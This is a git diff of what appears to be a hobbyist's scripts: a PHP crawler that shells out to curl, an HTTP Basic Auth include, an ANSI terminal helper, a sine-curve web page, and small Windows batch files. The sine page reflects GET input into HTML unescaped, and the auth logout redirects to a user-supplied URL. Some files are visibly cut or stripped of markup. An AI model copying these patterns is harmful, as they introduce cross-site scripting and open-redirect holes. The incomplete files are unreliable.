//Hell knows... + '(shop|xxx|porn|lesbian|hot)', //Commercial sites + '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites + '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites + '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content + '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files + '.\.(pdf|swf|flv|cfm)', //Other text files + '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files +); + + +///FUNCTIONS///////////////// +function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux + $curl = 'curl'; + if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath']; + $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug"; + $url = escapeshellcmd(trim($url)); + $cmd = "$curl --url \"$url\" $args"; + if($GLOBALS['debug']) echo("-Ex: $cmd\n"); + $fp = popen($cmd, 'r'); + stream_set_timeout($fp, $timeout); + stream_set_blocking($fp, 0); + //if($timeout>0) sleep($timeout); + $data = ''; + while(!feof($fp)) { + $in = fgets($fp, 100); + $data .= $in; + if($maxdata>0 && strlen($data)>=$maxdata) break; + if($in == '') usleep(1000000/8); + } + @fclose($fp); + return $data; +} + +function check_crawl_url($url) { //Use this function to determine if url is wanted + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + if(in_array($url, $GLOBALS['urls'])) return(0); + $file_url = explode('?', $url, 2); $file_url = $file_url[0]; + if(in_array($file_url, $GLOBALS['history'])) return(0); + return(1); +} + + +///CODE////////////////////// +//Init +if($restore && is_file($file)) { //Load last url as seed + $urls[1]=$seed; //original seed as backup (if no urls found at restored page) + if($debug) echo("!Restoring: "); + $rest = fopen($file, 'r'); + while(!feof($rest)) { + $seed = $new; + $new = fgets($rest); + } + fclose($rest); + $seed = trim($seed); + if($debug) echo($seed."\n"); + $urls[0]=$seed; + $seed=$urls[1]; +} + +if($delete_url_db) @unlink($file); +ini_set('default_socket_timeout',$socket_timeout); +set_time_limit($time_limit); +ini_set('memory_limit', $memory_limit); + +//Loop +if($debug) { $u = 0; $c = 0; $t = time(); } +$history[0] = ''; +$fp = fopen($file, 'a+'); +while(true) { //MAIN L00P + if(sizeof($urls) <= 0) { + $urls=''; + $urls[0]=$seed; + if($buffer_increase) $max_urls++; //Increase size of buffer by one + if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n"); + } + + //Get URL from buffer, download few bytes and write down URLs to array: + $url = array_shift($urls); + if($debug) echo("-Parsing: $url\n"); + if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); } + else { $page = shell_curl_get($url, $socket_timeout, $max_size); } + preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls); + $new_urls = $new_urls[0]; + + foreach($new_urls as $new_url) { //Process grabed URLs + if($debug) $c++;///Debug + if(check_crawl_url($new_url)) { + echo($new_url."\n"); + fwrite($fp, $new_url."\n"); + $file_url = explode('?', $new_url, 2); $file_url = $file_url[0]; + array_push($history, $file_url); + while(sizeof($history) > $history_max) @array_shift($history); + if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); } + else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); } + if($debug) { ///Debug Block + $u++; + $uspeed = round($u/(time()-$t+1), 2); + $cspeed = round($c/(time()-$t+1), 2); + $time = round((time()-$t)/60, 1); + $buffered = sizeof($urls); + $historied = sizeof($history); + $memory = round(memory_get_usage()/1000000, 2); + echo("+$u URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n"); + } + } + } + $new_urls = ''; //Memory cleanup +} + +##EOF diff --git a/php/http_auth.phps b/php/http_auth.phps new file mode 100755 index 0000000..c070715 --- /dev/null +++ b/php/http_auth.phps @@ -0,0 +1,74 @@ +harvie.ath.cx'; +$banner = "Harvie's PHP HTTP-Auth script (v$ver)"; +$hbanner = "
$banner\n$link\n"; +$cbanner = "\n"; +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//MANUAL///////////////////////////////////////////////////////////////////////////////////////////////////////// +/* HOWTO + * To each file, you want to lock add this line (at begin of first line): + * + * This file have to be php script (if it's html, simply rename it to .php) + * Server have to run PHP (not CGI). + * You need HTTP Basic auth enabled on server and in php.ini + */ +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// +////CODE///////////////////////////////////////////////////////////////////////////////////////////////////////// + function send_auth_headers($realm='') { + Header('WWW-Authenticate: Basic realm="'.$realm.'"'); + Header('HTTP/1.0 401 Unauthorized'); + } + + function check_auth($PHP_AUTH_USER, $PHP_AUTH_PW) { //Check if login is succesfull (U can modify to use DB, or anything else) + return (($PHP_AUTH_USER == $GLOBALS['user']) && ($PHP_AUTH_PW == $GLOBALS['passwd'])); + } + + function unauth() { //Do this when login fails + $cbanner = $GLOBALS['cbanner']; + $hbanner = $GLOBALS['hbanner']; + die("$cbanner401 - Forbidden\n

401 - Forbidden

\nLogin...\n$hbanner"); //Show warning and die + die(); //Don't forget!!! + } + +//Back-Compatibility +if(isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_USER = $_SERVER['PHP_AUTH_USER']; +if(isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] != '') $PHP_AUTH_PW = $_SERVER['PHP_AUTH_PW']; + +//Logout +if(isset($_GET['logout'])) { //script.php?logout + if(isset($PHP_AUTH_USER) || isset($PHP_AUTH_PW)) { + Header('WWW-Authenticate: Basic realm="'.$realm.'"'); + Header('HTTP/1.0 401 Unauthorized'); + } else { + if($_GET['logout'] != '') $location = $_GET['logout']; + if(trim($location) != '401') Header('Location: '.$location); + die("$cbanner401 - Log out successfull\n

401 - Log out successfull

\nContinue...\n$hbanner"); + } +} + +if($require_login) { + if(!isset($PHP_AUTH_USER)) { //Storno or first visit of page + send_auth_headers($realm); + unauth(); + } else { //Login sent + + if (check_auth($PHP_AUTH_USER, $PHP_AUTH_PW)) { //Login succesfull - probably do nothing + } else { //Bad login + send_auth_headers($realm); + unauth(); + } + + } +} +//Rest of file will be displayed only if login is correct + diff --git a/php/term.phps b/php/term.phps new file mode 100755 index 0000000..3523095 --- /dev/null +++ b/php/term.phps @@ -0,0 +1,62 @@ +#!/usr/bin/php += 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); } + else { echo("\033[".trim($atr1).'m'); } +} +//Screen clearing +function term_cls() { echo("\033[2J"); } //Clear screen +function term_free_line() { echo("\033[K"); } //Delete line from cursor to end +//Movement +function term_return() { echo("\r"); } //Move cursor to 1st col +function term_tab() { echo("\t"); } //Print TAB +function term_newline() { echo("\n"); } //Move cursor to next line +function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up +function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down +function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right +function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left +//Position +function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col +function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col +//Position saving +function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported) +function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported) +//Info about terminal +function term_name() { return getenv('TERM'); } //Returns terminal name as string +function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string +function term_shell() { return getenv('SHELL'); } //Returns running shell as string +function term_directory() { return getenv('PWD'); } //Returns working directory as string +function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string +//Showcase +function term_demo() { //Print demonstration + term_font(); + echo("DEMOnstration of PHPTerm for Unixs' terminals\n". + term_name().' - '.term_color_name().' ('.term_shell(). + ")\n\t\t\t\t<-Harvie 2oo7\n\n"); + for($i = 0; $i <= 8; $i++) { + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + term_font(); + for($y = 40; $y <= 47; $y++) { + term_font($y); echo("A"); + for($x = 30; $x <= 37; $x++) { + term_font($i,$x); echo("A"); + } + } + term_font(); + echo("\n"); + } + term_font(); echo("\n"); +} + + +//term_demo(); \ No newline at end of file diff --git a/php/websin/websin.php b/php/websin/websin.php new file mode 100755 index 0000000..4098d8b --- /dev/null +++ b/php/websin/websin.php @@ -0,0 +1,112 @@ +SinusCurve - (c) Harvie 2oo6 + + + +

f:Y = sin(X)

+ +
+
+Settings:

+X-Min: = First X
+X-Max: = Last X
+Step: = Increase X by this every line.

+ +Y-Offset: = Displacement on Y (0 = half sinewave; 1.1 = whole sinewave)
+Width: = Y Zoom
+Zoom: = X Zoom (Every line will be printed this much times.)

+ +Outline: = Curve outline (try: "#")
+Inlay: = Curve inlay (try: ":")

+ + +Tips:
+Press CTRL+A
+Press CTRL and try to roll MouseWheeeel...
+Look at source code of this webpage ;)
+

+ + +
+
+
= reset, then it will be reseted to zero
+$zoom = 1;      //1 //This will repeat every line few times
+$offset = 1.1;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.
+$width = 35;     //20 //35 //40 //This will stretch every line.
+$sleep = "0";   //15000 - Wait between lines in microseconds
+$line = (" ");     // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).
+$endline = ("+
\n"); // "#
\n" // ".
\n" //chr ( 219 )."
\n" //This is the string, that will be printed at end of every line (curve outline). + +//Read settings from form: +if ($_GET["start"] != "") { + $start = $_GET["start"];} +if ($_GET["reset"] != "") { + $reset = $_GET["reset"];} +if ($_GET["step"] != "") { + $step = $_GET["step"];} + +if ($_GET["offset"] != "") { + $offset = $_GET["offset"];} +if ($_GET["width"] != "") { + $width = $_GET["width"];} +if ($_GET["zoom"] != "") { + $zoom = $_GET["zoom"];} + +if ($_GET["outline"] != "") { + $endline = ($_GET["outline"]."
\n");} +if ($_GET["inlay"] != "") { + $line = $_GET["inlay"];} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]
\n
\n"); +echo (" | y
\n"); +echo ("-+----------------------------------------------------------------------------->-------> Y >
\n"); +echo ("x|
\n"); +echo (" V

\n\n"); + +//sleep(2); + +$pos = $start; +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = ((sin($pos) + $offset) * $width); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + die(); + } + +} +?>
diff --git a/php/websin/websin.phps b/php/websin/websin.phps new file mode 120000 index 0000000..b823446 --- /dev/null +++ b/php/websin/websin.phps @@ -0,0 +1 @@ +websin.php \ No newline at end of file diff --git a/windows-batch/enable_ipv6.bat b/windows-batch/enable_ipv6.bat new file mode 100755 index 0000000..5f97e21 --- /dev/null +++ b/windows-batch/enable_ipv6.bat @@ -0,0 +1,17 @@ +@echo off + +echo Enabling IPv6 over Teredo tunnel support... +echo You will need at least Windows XP with SP2 for this! +%SystemRoot%\system32\netsh interface ipv6 install +%SystemRoot%\system32\netsh interface ipv6 set teredo client + +echo Now you can check your settings... +%SystemRoot%\system32\ipconfig + +echo Done! +echo If failed, you will need at least Windows XP with SP2 for this! +pause + +rem DISABLE: +rem %SystemRoot%\system32\netsh interface ipv6 uninstall + diff --git a/windows-batch/vypis_soubory.bat b/windows-batch/vypis_soubory.bat new file mode 100755 index 0000000..bc2fa24 --- /dev/null +++ b/windows-batch/vypis_soubory.bat @@ -0,0 +1,11 @@ +@echo off +set outfile=.\seznam_souboru.txt +@%SystemRoot%\system32\chcp 1250 >nul +echo Probiha ziskavani informaci... +echo Vypis souboru od uzivatele %USERNAME% > %outfile% +%SystemRoot%\system32\tree /F /A >> %outfile% +%SystemRoot%\system32\notepad %outfile% +echo HOTOVO!!! Vypis najdes v souboru %outfile% +echo Stiskni enter pro ukonceni... +pause >nul +